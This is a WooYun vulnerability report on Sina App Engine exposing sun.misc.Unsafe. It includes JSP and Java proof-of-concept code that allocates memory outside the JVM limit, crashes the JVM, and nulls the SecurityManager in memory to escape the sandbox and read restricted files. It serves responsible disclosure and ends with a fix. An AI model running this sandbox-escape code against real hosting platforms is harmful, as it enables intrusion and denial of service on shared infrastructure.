当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072739

漏洞标题:SAE允许JVM内存对象直接读写操作

相关厂商:新浪

漏洞作者: Nebula

提交时间:2014-08-17 00:21

修复时间:2014-10-01 00:22

公开时间:2014-10-01 00:22

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-17: 细节已通知厂商并且等待厂商处理中
2014-08-19: 厂商已经确认,细节仅向厂商公开
2014-08-29: 细节向核心白帽子及相关领域专家公开
2014-09-08: 细节向普通白帽子公开
2014-09-18: 细节向实习白帽子公开
2014-10-01: 细节向公众公开

简要描述:

RT!

详细说明:

//本来想写篇文章的,但怕牵扯到某些公司云沙盒环境

sun.misc.Unsafe是当年sun公司操作内存的内部API,没有公开.有些JDK已经去掉了这个类.但大部分的jdk依然保留着.


sun.misc.Unsafe看名字就知道,不安全的.反编译的大致源码:

package sun.misc;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import sun.reflect.Reflection;
public final class Unsafe
{
private static final Unsafe theUnsafe;
public static final int INVALID_FIELD_OFFSET = -1;
private static native void registerNatives();
public static Unsafe getUnsafe()
{
Class localClass = Reflection.getCallerClass(2);
if (localClass.getClassLoader() != null)
throw new SecurityException("Unsafe");
return theUnsafe;
}
public native int getInt(Object paramObject, long paramLong);
public native void putInt(Object paramObject, long paramLong, int paramInt);
public native Object getObject(Object paramObject, long paramLong);
public native void putObject(Object paramObject1, long paramLong, Object paramObject2);
public native boolean getBoolean(Object paramObject, long paramLong);
public native void putBoolean(Object paramObject, long paramLong, boolean paramBoolean);
public native byte getByte(Object paramObject, long paramLong);
public native void putByte(Object paramObject, long paramLong, byte paramByte);
public native short getShort(Object paramObject, long paramLong);
public native void putShort(Object paramObject, long paramLong, short paramShort);
public native char getChar(Object paramObject, long paramLong);
public native void putChar(Object paramObject, long paramLong, char paramChar);
public native long getLong(Object paramObject, long paramLong);
public native void putLong(Object paramObject, long paramLong1, long paramLong2);
public native float getFloat(Object paramObject, long paramLong);
public native void putFloat(Object paramObject, long paramLong, float paramFloat);
public native double getDouble(Object paramObject, long paramLong);
public native void putDouble(Object paramObject, long paramLong, double paramDouble);
@Deprecated
public int getInt(Object paramObject, int paramInt)
{
return getInt(paramObject, paramInt);
}
@Deprecated
public void putInt(Object paramObject, int paramInt1, int paramInt2)
{
putInt(paramObject, paramInt1, paramInt2);
}
@Deprecated
public Object getObject(Object paramObject, int paramInt)
{
return getObject(paramObject, paramInt);
}
@Deprecated
public void putObject(Object paramObject1, int paramInt, Object paramObject2)
{
putObject(paramObject1, paramInt, paramObject2);
}
@Deprecated
public boolean getBoolean(Object paramObject, int paramInt)
{
return getBoolean(paramObject, paramInt);
}
@Deprecated
public void putBoolean(Object paramObject, int paramInt, boolean paramBoolean)
{
putBoolean(paramObject, paramInt, paramBoolean);
}
@Deprecated
public byte getByte(Object paramObject, int paramInt)
{
return getByte(paramObject, paramInt);
}
@Deprecated
public void putByte(Object paramObject, int paramInt, byte paramByte)
{
putByte(paramObject, paramInt, paramByte);
}
@Deprecated
public short getShort(Object paramObject, int paramInt)
{
return getShort(paramObject, paramInt);
}
@Deprecated
public void putShort(Object paramObject, int paramInt, short paramShort)
{
putShort(paramObject, paramInt, paramShort);
}
@Deprecated
public char getChar(Object paramObject, int paramInt)
{
return getChar(paramObject, paramInt);
}
@Deprecated
public void putChar(Object paramObject, int paramInt, char paramChar)
{
putChar(paramObject, paramInt, paramChar);
}
@Deprecated
public long getLong(Object paramObject, int paramInt)
{
return getLong(paramObject, paramInt);
}
@Deprecated
public void putLong(Object paramObject, int paramInt, long paramLong)
{
putLong(paramObject, paramInt, paramLong);
}
@Deprecated
public float getFloat(Object paramObject, int paramInt)
{
return getFloat(paramObject, paramInt);
}
@Deprecated
public void putFloat(Object paramObject, int paramInt, float paramFloat)
{
putFloat(paramObject, paramInt, paramFloat);
}
@Deprecated
public double getDouble(Object paramObject, int paramInt)
{
return getDouble(paramObject, paramInt);
}
@Deprecated
public void putDouble(Object paramObject, int paramInt, double paramDouble)
{
putDouble(paramObject, paramInt, paramDouble);
}
public native byte getByte(long paramLong);
public native void putByte(long paramLong, byte paramByte);
public native short getShort(long paramLong);
public native void putShort(long paramLong, short paramShort);
public native char getChar(long paramLong);
public native void putChar(long paramLong, char paramChar);
public native int getInt(long paramLong);
public native void putInt(long paramLong, int paramInt);
public native long getLong(long paramLong);
public native void putLong(long paramLong1, long paramLong2);
public native float getFloat(long paramLong);
public native void putFloat(long paramLong, float paramFloat);
public native double getDouble(long paramLong);
public native void putDouble(long paramLong, double paramDouble);
public native long getAddress(long paramLong);
public native void putAddress(long paramLong1, long paramLong2);
public native long allocateMemory(long paramLong);
public native long reallocateMemory(long paramLong1, long paramLong2);
public native void setMemory(long paramLong1, long paramLong2, byte paramByte);
public native void copyMemory(Object paramObject1, long paramLong1, Object paramObject2, long paramLong2, long paramLong3);
public void copyMemory(long paramLong1, long paramLong2, long paramLong3)
{
copyMemory(null, paramLong1, null, paramLong2, paramLong3);
}
public native void freeMemory(long paramLong);
@Deprecated
public int fieldOffset(Field paramField)
{
if (Modifier.isStatic(paramField.getModifiers())) {
return (int)staticFieldOffset(paramField);
}
return (int)objectFieldOffset(paramField);
}
@Deprecated
public Object staticFieldBase(Class paramClass)
{
Field[] arrayOfField = paramClass.getDeclaredFields();
for (int i = 0; i < arrayOfField.length; i++) {
if (Modifier.isStatic(arrayOfField[i].getModifiers())) {
return staticFieldBase(arrayOfField[i]);
}
}
return null;
}
public native long staticFieldOffset(Field paramField);
public native long objectFieldOffset(Field paramField);
public native Object staticFieldBase(Field paramField);
public native void ensureClassInitialized(Class paramClass);
public native int arrayBaseOffset(Class paramClass);
public native int arrayIndexScale(Class paramClass);
public native int addressSize();
public native int pageSize();
public native Class defineClass(String paramString, byte[] paramArrayOfByte, int paramInt1, int paramInt2, ClassLoader paramClassLoader, ProtectionDomain paramProtectionDomain);
public native Class defineClass(String paramString, byte[] paramArrayOfByte, int paramInt1, int paramInt2);
public native Object allocateInstance(Class paramClass)
throws InstantiationException;
public native void monitorEnter(Object paramObject);
public native void monitorExit(Object paramObject);
public native boolean tryMonitorEnter(Object paramObject);
public native void throwException(Throwable paramThrowable);
public final native boolean compareAndSwapObject(Object paramObject1, long paramLong, Object paramObject2, Object paramObject3);
public final native boolean compareAndSwapInt(Object paramObject, long paramLong, int paramInt1, int paramInt2);
public final native boolean compareAndSwapLong(Object paramObject, long paramLong1, long paramLong2, long paramLong3);
public native Object getObjectVolatile(Object paramObject, long paramLong);
public native void putObjectVolatile(Object paramObject1, long paramLong, Object paramObject2);
public native int getIntVolatile(Object paramObject, long paramLong);
public native void putIntVolatile(Object paramObject, long paramLong, int paramInt);
public native boolean getBooleanVolatile(Object paramObject, long paramLong);
public native void putBooleanVolatile(Object paramObject, long paramLong, boolean paramBoolean);
public native byte getByteVolatile(Object paramObject, long paramLong);
public native void putByteVolatile(Object paramObject, long paramLong, byte paramByte);
public native short getShortVolatile(Object paramObject, long paramLong);
public native void putShortVolatile(Object paramObject, long paramLong, short paramShort);
public native char getCharVolatile(Object paramObject, long paramLong);
public native void putCharVolatile(Object paramObject, long paramLong, char paramChar);
public native long getLongVolatile(Object paramObject, long paramLong);
public native void putLongVolatile(Object paramObject, long paramLong1, long paramLong2);
public native float getFloatVolatile(Object paramObject, long paramLong);
public native void putFloatVolatile(Object paramObject, long paramLong, float paramFloat);
public native double getDoubleVolatile(Object paramObject, long paramLong);
public native void putDoubleVolatile(Object paramObject, long paramLong, double paramDouble);
public native void putOrderedObject(Object paramObject1, long paramLong, Object paramObject2);
public native void putOrderedInt(Object paramObject, long paramLong, int paramInt);
public native void putOrderedLong(Object paramObject, long paramLong1, long paramLong2);
public native void unpark(Object paramObject);
public native void park(boolean paramBoolean, long paramLong);
public native int getLoadAverage(double[] paramArrayOfDouble, int paramInt);
static
{
registerNatives();
theUnsafe = new Unsafe();
}
}


看到我们是无法去new这个类的,但是看到最后几行:
static
{
registerNatives();
theUnsafe = new Unsafe();
}
默认是由于自己初始化的,它有个 (private static final Unsafe theUnsafe;)theUnsafe属性,那我们可以用反射去调用它了.


Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (sun.misc.Unsafe) field.get(null);//获取实例


有人说它是sun公司留下的后门,呵呵!


漏洞证明:

SAE使用的openjdk也有这个类,且没有禁用掉.


用unsafe去申请1个字节的内存,并赋值123456:
index.jsp:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page language="java" import="java.lang.reflect.Field,sun.misc.Unsafe" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title></title>
</head>
<body>
<%

java.lang.reflect.Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);
long address=unsafe.allocateMemory(1);
long value=123456;
unsafe.putLong(address, value);
%>
申请的地址: <%= address%><br>
获取地址填充的值123456: <%= unsafe.getAddress(address)%><br>
释放内存:<% unsafe.freeMemory(address);%>******<br>
获取地址填充的值123456: <%= unsafe.getAddress(address)%>
</body>
</html>
http://unsafe1.sinaapp.com/


1.png


申请的地址: 140193168417552,可以看到地址是140193168417552,根我想像的云环境内存分配不一样,没有隔离内存.
我大致计算了一下,大概:130565个G=140193168417552/(1024*1024*1024)
大概是我们应用所在环境的内存使用总量,可以多刷新自己看看变化幅度.



2.png


创建java应用,JVM上限是1个G.但能使用unsafe这个类,这就不对了!
long address=unsafe.allocateMemory(1024*1024*1700);

申请1.7G内存:
http://unsafe1.sinaapp.com/1700M_allocateMemory.jsp


1700M_allocateMemory.jsp
java.lang.reflect.Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);
long address=unsafe.allocateMemory(1024*1024*1700);


3.png


由于操作系统限制,JVM申请内存在这个版本的Linux是2G左右(我win环境下,大概是1个G多点),超过就报错!


4.png


注意Unsafe申请的内存不是由JVM管理的,是由创建者自己去管理.使用Runtime.maxMemory(); 是无法查看到它的.
所以用Runtime.maxMemory(); 是无法查看的.其实JVM也是调用它去申请内存,只不过我这里是直接调用它.


我们去随意写个错误地址:unsafe.putLong(11111, 1);会让JVM直接挂掉的.


5.png


除了内存信息泄露及内存使用越权外,似乎没什么用了,因为内存中每个JVM是隔离的.但注意,可以读写JVM的内存,那我们可以读写JVM中每个对象,对的,能读写SecurityManager这个对象.


SAE沙盒环境是重写jdk默认自带的SecurityManager类(安全管理器类).
http://unsafe1.sinaapp.com/securityManager.jsp


securityManager.jsp
<%=System.getSecurityManager()%>


6.png



jdk默认沙盒环境(包括applet),也是不允许访问这个类的(连所在包都是不允许的):


7.png


8.png


而SAE重写SecurityManager这个类时,正好漏掉了这层限制...


原理:获取沙盒对象地址,从JVM的内存中去掉(填充为0),从而去掉沙盒限制!

以下是我在这一场景的bypass沙盒环境测试demo.由于对内存读写不熟悉,仓促完成了32位HotSpot(TM)jdk粗糙PoC,SAE 64位openjdk 的PoC待有缘人去完成它!


MySecurityManager.java

import java.security.Permission;

public class MySecurityManager extends SecurityManager {



private String path="C:\\sandbox"; //win环境,安全路径限制示例

public void setPath(String path) {
this.path = path;
}



@Override
public void checkRead(String file) { //此为测试demo,file操作存在其他绕过,不要模仿

System.out.println("file:"+file);

//System.out.println("path:"+this.path);


if (!file.startsWith(this.path)) {

throw new SecurityException("沙盒安全目录限制...");

}

}



//这里重写checkPermission方法,破坏原有权限结构;开放相关权限


/* */@Override
public void checkPermission(Permission perm) {



}




}


Test.java

import java.io.FileInputStream;
import java.lang.reflect.Field;
import sun.misc.Unsafe;
public class Test {


public static long normalize(int value) {


// System.out.println(value);
if(value >= 0) return value;

return (~0L >>> 32) & value;

}

public static long toAddress(Unsafe unsafe,Object obj) {

Object[] array = new Object[] {obj};

long baseOffset = unsafe.arrayBaseOffset(Object[].class);


//System.out.println(baseOffset);

return normalize(unsafe.getInt(array, baseOffset));

/*
int baseOffset = unsafe.arrayBaseOffset(Object[].class);
return normalize(unsafe.getInt(array,baseOffset ));
*/

}



public static void disableSecurity() throws Exception {



Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (sun.misc.Unsafe) field.get(null);

long address=unsafe.allocateMemory(1);



long sys =toAddress(unsafe,java.lang.System.class);


long sm =toAddress(unsafe,java.lang.System.getSecurityManager());

sys=unsafe.getAddress(sys+4L);



/* */

for (int i = 0; i < 1000000; i++) {

long addr = sys + i * 4;
long val =unsafe.getAddress(addr);

if (val == sm) {

unsafe.putAddress(addr, 0);

if (System.getSecurityManager() == null) {

System.out.println("SecurityManager关闭!!!");

break;
}

}


}



}

public static void main(String[] args) throws Exception {


System.out.println("sys "+System.getProperty("sun.arch.data.model")+" bit");


MySecurityManager mySecurityManager=new MySecurityManager();



System.setSecurityManager(mySecurityManager);


if (System.getSecurityManager() != null) {

System.out.println("SecurityManager启动!!!");


}

//关掉沙盒
Test.disableSecurity();


/*

bypass 1: 代码不严谨,没有处理路径回溯符/../

*/

FileInputStream fis = new FileInputStream("C:\\1.log");

//FileInputStream fis = new FileInputStream("C:\\sandbox\\..\\1.log");



System.out.println(fis.read());//读取一个字节









}
}


9.png


10.png


修复方案:

最好限制这个包:sun.misc.*访问!(由于百度BAE欠费,就没测试它.至于GAE,我相信他们是禁用了这个类)

版权声明:转载请注明来源 Nebula@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-08-19 20:37

厂商回复:

感谢对新浪安全工作的支持,漏洞正在修复。

最新状态:

暂无